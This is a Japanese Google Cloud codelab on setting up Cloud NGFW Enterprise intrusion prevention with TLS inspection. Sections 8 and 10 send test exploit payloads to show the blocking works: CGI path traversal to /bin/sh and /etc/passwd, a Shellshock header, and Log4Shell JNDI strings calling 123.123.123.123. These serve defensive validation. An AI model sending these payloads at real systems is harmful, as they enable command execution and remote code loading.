Cloud NGFW Enterprise Codelab [TLS インスペクションあり]

1. はじめに

Cloud Next Generation Firewall(NGFW)

Cloud Next Generation Firewall は、高度な保護機能、マイクロセグメンテーション、内部および外部の攻撃から Google Cloud ワークロードを広範囲に保護する機能を備えた、完全分散型のファイアウォール サービスです。

Cloud NGFW には次の利点があります。

  • 分散ファイアウォール サービス: Cloud NGFW では、各ワークロードに完全に分散されたステートフルなホストベースの適用が可能で、ゼロトラスト セキュリティ アーキテクチャを実現できます。
  • 構成とデプロイの簡素化: Cloud NGFW は、リソース階層ノードに接続できるネットワークと階層型ファイアウォール ポリシーを実装します。これらのポリシーにより、Google Cloud リソース階層全体で一貫性のあるファイアウォール エクスペリエンスが提供されます。
  • きめ細かい制御とマイクロセグメンテーション: ファイアウォール ポリシーと Identity and Access Management(IAM)によって管理されるタグを組み合わせて、Virtual Private Cloud(VPC)ネットワークと組織全体で、North-South トラフィックと East-West トラフィックの両方を 1 つの VM に至るまできめ細かく制御できます。

Cloud NGFW は次の階層で使用できます。

  • Cloud Next Generation Firewall Essentials
  • Cloud Next Generation Firewall Standard
  • Cloud Next Generation Firewall Enterprise

Cloud NGFW Enterprise

Cloud NGFW Enterprise は、分散型 Google Cloud ファイアウォール ファブリックに、レイヤ 7 機能である侵入防止サービス(IPS)を追加します。TLS インスペクションがサポートされているため、TLS で暗号化されたトラフィックの検査が可能です。

ネットワーク アーキテクチャやルーティング構成を変更することなく、きめ細かい制御で信頼性の高いレイヤ 7 次世代ファイアウォール(NGFW)検査をデプロイできるようになりました。

IPS を使用してレイヤ 7 ファイアウォール制御を有効にしてデプロイするには、次のタスクを実行する必要があります。

  • Google Cloud マネージド ゾーン ファイアウォール エンドポイントのセットを作成します。
  • 必要に応じて、TLS インスペクション ポリシーを作成します。
  • 必要に応じて、信頼構成を作成します。
  • これらのエンドポイントを、Cloud NGFW Enterprise サービスが必要な Virtual Private Cloud(VPC)ネットワークに関連付けます。
  • 既存のファイアウォール ポリシーとファイアウォール ルールに簡単な変更を加えて、さまざまなトラフィック パスの脅威防止プロファイルを指定します。

ネットワーク ファイアウォール ポリシー

ネットワーク ファイアウォール ポリシーは、ファイアウォール ルールのコンテナとして機能します。ネットワーク ファイアウォール ポリシーで定義されたルールは、ポリシーが VPC ネットワークに関連付けられるまで適用されません。各 VPC ネットワークには、1 つのネットワーク ファイアウォール ポリシーを関連付けることができます。ネットワーク ファイアウォール ポリシーは、ファイアウォール ルールで IAM で管理されるタグ(または単にタグ)をサポートしています。これは現在のネットワーク タグに代わるもので、ワークロードに ID を提供するために使用できます。

ネットワーク間でネットワーク ファイアウォール ポリシーを共有し、IAM によって管理されるタグと統合することで、ファイアウォールの構成と管理が大幅に簡素化されます。

ネットワーク ファイアウォール ポリシーの導入により、Google Cloud のファイアウォール ポリシーは次のコンポーネントで構成されるようになりました。

  1. 階層型ファイアウォール ポリシー
  2. VPC ファイアウォール ルール
  3. ネットワーク ファイアウォール ポリシー(グローバルリージョン

階層型ファイアウォール ポリシーは、リソース階層内の組織ノードとフォルダノードでサポートされていますが、VPC ファイアウォール ルールとネットワーク ファイアウォール ポリシーは VPC レベルで適用されます。VPC ファイアウォール ルールとネットワーク ファイアウォール ポリシーの大きな違いは、VPC ファイアウォール ルールは単一の VPC ネットワークにのみ適用できるのに対し、ネットワーク ファイアウォール ポリシーは単一の VPC または VPC のグループに適用できることです。また、バッチ更新などのメリットもあります。

また、すべての VPC ネットワークに付属する暗黙のファイアウォール ルールもあります。

  • アクションが allow、宛先が 0.0.0.0/0 の下り(外向き)ルール
  • アクションが deny、送信元が 0.0.0.0/0 の上り(内向き)ルール

デフォルトでは、適用順序は次の図のようになります。

21b3bcabc469ffe.png

VPC ファイアウォール ルールとグローバル ネットワーク ファイアウォール ポリシーの適用順序は入れ替えることができます。お客様は、gcloud コマンドを使用して、いつでも適用順序を指定できます。

タグ

新しいネットワーク ファイアウォール ポリシールールに統合されたタグは、Google Cloud リソース階層の組織レベルまたはプロジェクト レベルで定義された Key-Value ペアのリソースです。このようなタグには、タグに対して何を行えるかを指定する IAM アクセス制御が含まれています。たとえば、Idenity and Access Management(IAM)権限では、どのプリンシパルが値をタグに割り当てることができるかと、どのプリンシパルがタグをリソースにアタッチできるかを指定できます。ネットワーク ファイアウォール ルールがタグを参照する場合、適用するにはリソースにそのタグを適用する必要があります。

タグは Google Cloud の継承リソースモデルに従います。つまり、タグとその値は親から階層全体にわたって渡されます。その結果、タグを 1 か所で作成し、リソース階層全体の他のフォルダやプロジェクトで使用できます。タグとアクセス制限について詳しくは、こちらのページをご覧ください。

タグをネットワーク タグと混同しないでください。後者は、Compute Engine インスタンスに追加できる文字列です。インスタンスに関連付けられ、インスタンスが廃止されると消えます。VPC ファイアウォール ルールにはネットワーク タグを含めることができますが、クラウド リソースとはみなされないため、IAM アクセス制御の対象ではありません。

このドキュメントでは、タグと IAM で管理されるタグが同じ意味で使用されています。

作成するアプリの概要

この Codelab では、1 つのプロジェクトと、VPC ネットワークの作成と、多数のネットワーク リソースとセキュリティ リソースの管理を行う必要があります。このチュートリアルでは、次のように Cloud NGFW Enterprise が IPS 機能を提供できる方法について説明します。

  • TLS インスペクションによる北向きインターネット フローの検査
  • TLS インスペクションによる VPC 内フロー [East-West] のインスペクション

検査対象のフローは、5 タプル(送信元 IP、宛先 IP、プロトコル、送信元ポート、宛先ポート)やタグなどの Cloud Firewall の一致パラメータを使用して選択されます。

3d0f288d3b92a295.png

ネットワーク ファイアウォール ポリシー ルールベースの最終状態は、次の表のようになります。

優先度

方向

ターゲット

ソース

宛先

アクション

100

Ingress

Server_Tag

ヘルスチェック

すべて

許可

Essentials

200

Ingress

Client_Tag、Server_Tag

IAP

すべて

許可

Essentials

800

Ingress

Server_Tag

10.0.0.0/24

10.0.0.0/24

L7 検査

Enterprise

850

下り(外向き)

Client_Tag

すべて

10.0.0.0/24

許可

Essentials

900

下り(外向き)

Client_Tag

すべて

すべて

L7 検査

Enterprise

学習内容

  • ネットワーク ファイアウォール ポリシーを作成する方法。
  • ネットワーク ファイアウォール ポリシーでタグを作成して使用する方法。
  • TLS インスペクションを使用する Cloud NGFW Enterprise の構成方法と使用方法。

必要なもの

  • Google Cloud プロジェクト。
  • インスタンスのデプロイとネットワーク コンポーネントの構成に関する知識。
  • VPC ファイアウォールの構成に関する知識。

2. 始める前に

変数の作成/更新

この Codelab では、$variables を使用して、Cloud Shell での gcloud 構成の実装を支援します。

Cloud Shell で、次のコマンドを実行します。必要に応じて、かっこ内の情報を置き換えます。

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. API を有効にする

API をまだ有効にしていない場合は、有効にします。

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Cloud NGFW Enterprise エンドポイントの作成

Cloud NGFW Enterprise エンドポイントの作成には 20 分ほどかかるため、まずエンドポイントが作成され、エンドポイントの作成中にベース設定を並行して行うことができます。

セキュリティ プロファイルとセキュリティ プロファイル グループを作成します。

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

予想される出力:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.                                                                                                                                 

リソースが正常に作成されたことを確認します。

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

予想される出力(出力形式は、使用するクライアントによって異なる場合があります。

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

Cloud NGFW Enterprise エンドポイントを作成します。

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

以下のコマンドを実行して、エンドポイントが作成されていることを確認します(CREATING)。

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

期待される出力(出力形式は使用しているクライアントによって異なる場合があります)。

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

必要に応じて、次のコマンドを実行して詳細情報を取得します。

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

予想される出力:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

作成プロセスには約 20 分かかります。ベース設定セクションに進み、必要なリソースを並行して作成します。

5. ベースのセットアップ

VPC ネットワークとサブネット

VPC ネットワークとサブネット

VPC ネットワークとサブネットを作成します。

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Cloud Router と Cloud NAT ゲートウェイを作成します。

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

インスタンス

クライアント インスタンスとウェブサーバー インスタンスを作成します。

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

プロジェクト レベルのタグ

必要に応じて、ユーザーに tagAdmin 権限を割り当てます。

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

プロジェクト レベルのタグキーと値を作成します。

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

タグをインスタンスにバインドします。

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

グローバル ネットワーク ファイアウォール ポリシー

グローバル ネットワーク ファイアウォール ポリシーを作成します。

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

ヘルスチェックIdentity-Aware Proxy の範囲からのトラフィックを許可するために、必要な Cloud Firewall Essential ルールを作成します。

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

特定の範囲からの上り(内向き)イースト / ウエスト/ サブネット内トラフィックを許可するために必要な Cloud Firewall ルールを作成します(これらのルールは、TLS インスペクションを有効にするように更新されます)。

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

クラウド ファイアウォール ポリシーを VPC ネットワークに関連付けます。

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Cloud ファイアウォール エンドポイントの関連付け

まだ環境変数を定義していない場合や、スクリプト アプローチを好む場合は、環境変数を定義します。

Cloud Firewall エンドポイントの作成が正常に完了したことを確認します。ステータスが [ACTIVE] と表示されたら、次のステップに進みます(作成中は [CREATING] と表示されます)。

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

予想される出力(出力形式は、使用するクライアントによって異なる場合があります):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

必要に応じて、次のコマンドを実行して詳細情報を取得します。

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

予想される出力:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

Cloud Firewall エンドポイントを VPC ネットワークに関連付けます。

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

関連付けのプロセスには 10 分ほどかかります。ステータスが [ACTIVE] と表示されたら、TLS セクションに進みます(作成中は [CREATING] と表示されます)。

gcloud network-security firewall-endpoint-associations list

完了時の想定される出力:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

必要に応じて、次のコマンドを実行して詳細を取得します。

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

予想される出力:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. TLS リソースを構成する

CA プールを作成します。このリソースは、NGFW Enterprise 用に生成したルート CA 証明書を格納するために使用されます。

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

ルート CA を作成します。これは、NGFW Enterprise を介したリクエストの追加証明書の署名に使用される CA 証明書です。

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

以下のメッセージが表示された場合は、「y」と入力します。

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

サービス アカウントを作成します。このサービス アカウントは、NGFW Enterprise の証明書をリクエストするために使用されます。

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

サービス アカウントの IAM 権限を設定します。

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

TLS ポリシーの YAML ファイルを作成します。このファイルには、特定のリソースに関する情報が含まれます。

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

TLS インスペクション ポリシーをインポートします。

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

エンドポイントの関連付けを更新して TLS を有効にします。

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

CA 証明書を取得し、クライアントの CA ストアに追加します。

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

CA 証明書をクライアントに転送します。

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

VM に SSH で接続し、CA 証明書を /usr/local/share/ca-certificates に移動して CA ストアを更新します。

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

終了して Cloud Shell に戻ります。

サーバー証明書の署名プロセス:

Cloudshell で、pip コマンドを使用して Pyca 暗号ライブラリをインストールします。

pip install --user "cryptography>=2.2.0"

Google Cloud SDK で Pyca 暗号ライブラリを使用できるようにするには、サイト パッケージを有効にする必要があります。

export CLOUDSDK_PYTHON_SITEPACKAGES=1

サーバー証明書を作成します。

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem 

これにより、cloudshell に cert.pem ファイルと key.pem ファイルが生成されます。次に、証明書と鍵をサーバーに転送します。

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

サーバーに SSH 接続して Apache の証明書の詳細を更新します。

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

証明書と鍵を特定のフォルダに移動します。

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

署名付き証明書を使用するように SSL 構成を更新します。

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

Apache を再起動します。

sudo systemctl restart apache2

Apache のステータスを確認します。

sudo systemctl status apache2

アクティブ(実行中)になっているはずです。

VM を終了し、Cloud Shell で続行します。

8. 上り(内向き)接続と東西接続を確認します。

Cloud Shell で次のコマンドを実行し、使用するターゲット IP をメモします。

gcloud compute instances list --filter="name=($prefix-$zone-www)"

新しいタブを開き、IAP を介してクライアント VM への SSH 接続を開始します(新しいタブで変数を定義する必要があります)。

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

次のコマンドを実行し、使用するターゲット IP をメモします。変数を作成し、角かっこ内の値を前のステップで確認した IP に置き換えて、到達可能であることを確認します。

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

プライベート IP を Curl して、到達可能であることを確認します。

curl https://$target_privateip --max-time 2

curl リクエストで想定される結果:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

サンプル攻撃を IP に送信します。ウェブサーバーはすべてのリクエストに応答し、L7 検査/防止が設定されていないことを確認する必要があります。

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2 

期待される結果の例(プライベート IP):

400
404
400
200
200

同様に、インターネットの宛先にリクエストを送信します。

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2 

期待される結果の例(インターネットのリンク先):

400
404
400
403
403

VM ターミナルを終了して、Cloud Shell に戻ります。

9. TLS インスペクション用のファイアウォール ルールを作成、更新する

前述では、内部サブネットからサーバーへの上り(内向き)トラフィックを許可するファイアウォール ルールを構成しました。既存の Ingress ルールを更新し、アクションを apply_security_profile_group に設定します。これにより、TLS を使用した E/W L7 インスペクションが有効になります。

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

TLS を使用してノースバウンド L7 インスペクションを検査する新しいルールを作成します。

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

二重検査を防ぐために E/W に EGRESS を許可する新しいルールを作成する。

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client 

10. ノースバウンド TLS インスペクションの検証

クライアント VM タブに戻るか、もう一度接続します。

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

サンプル攻撃をインターネットの宛先に送信します。

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

以下に示す想定される出力に従って、レスポンスが受信されません。これにより、サンプル攻撃がブロックされていることが確認されます。

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

変数を前のサーバーの IP に設定します。

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

サンプル TLS リクエストをサーバーに送信します。

curl https://$target_privateip --max-time 2

予想される出力:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

このリクエストが失敗した理由これは、ファイアウォールが信頼されていないサーバーから証明書を受信しているためです。この場合、自己署名証明書がクライアントに返されます。信頼を有効にするには、信頼構成の一部として CA 証明書を追加する必要があります。

Cloud Shell に戻ります。

11. 信頼構成を構成する

ルート CA 証明書を取得し、適切な形式で変数として設定します。

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

Trust Config YAML ファイルを構成します。このファイルには、CA 証明書などの信頼の詳細が含まれています。

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

上記のコマンドでは、サーバーの証明書がルート CA を使用して署名されているため、ルート CA 証明書がトラストストアの一部として含まれています。つまり、TLS ポリシーで excludePublicCaSet が false に設定されている場合、ファイアウォールは、ルート CA によって署名された証明書(パブリック CA に加えて)を信頼します。

trust config の内容を確認します。

cat trust_config.yaml 

出力例:

証明書のインデントの位置に注意してください。この形式に厳密に従う必要があります。

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

信頼構成をインポートします。

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

TLS ポリシー YAML ファイルを更新して、信頼構成を含めます。

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

更新された TLS ポリシーをインポートします。

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

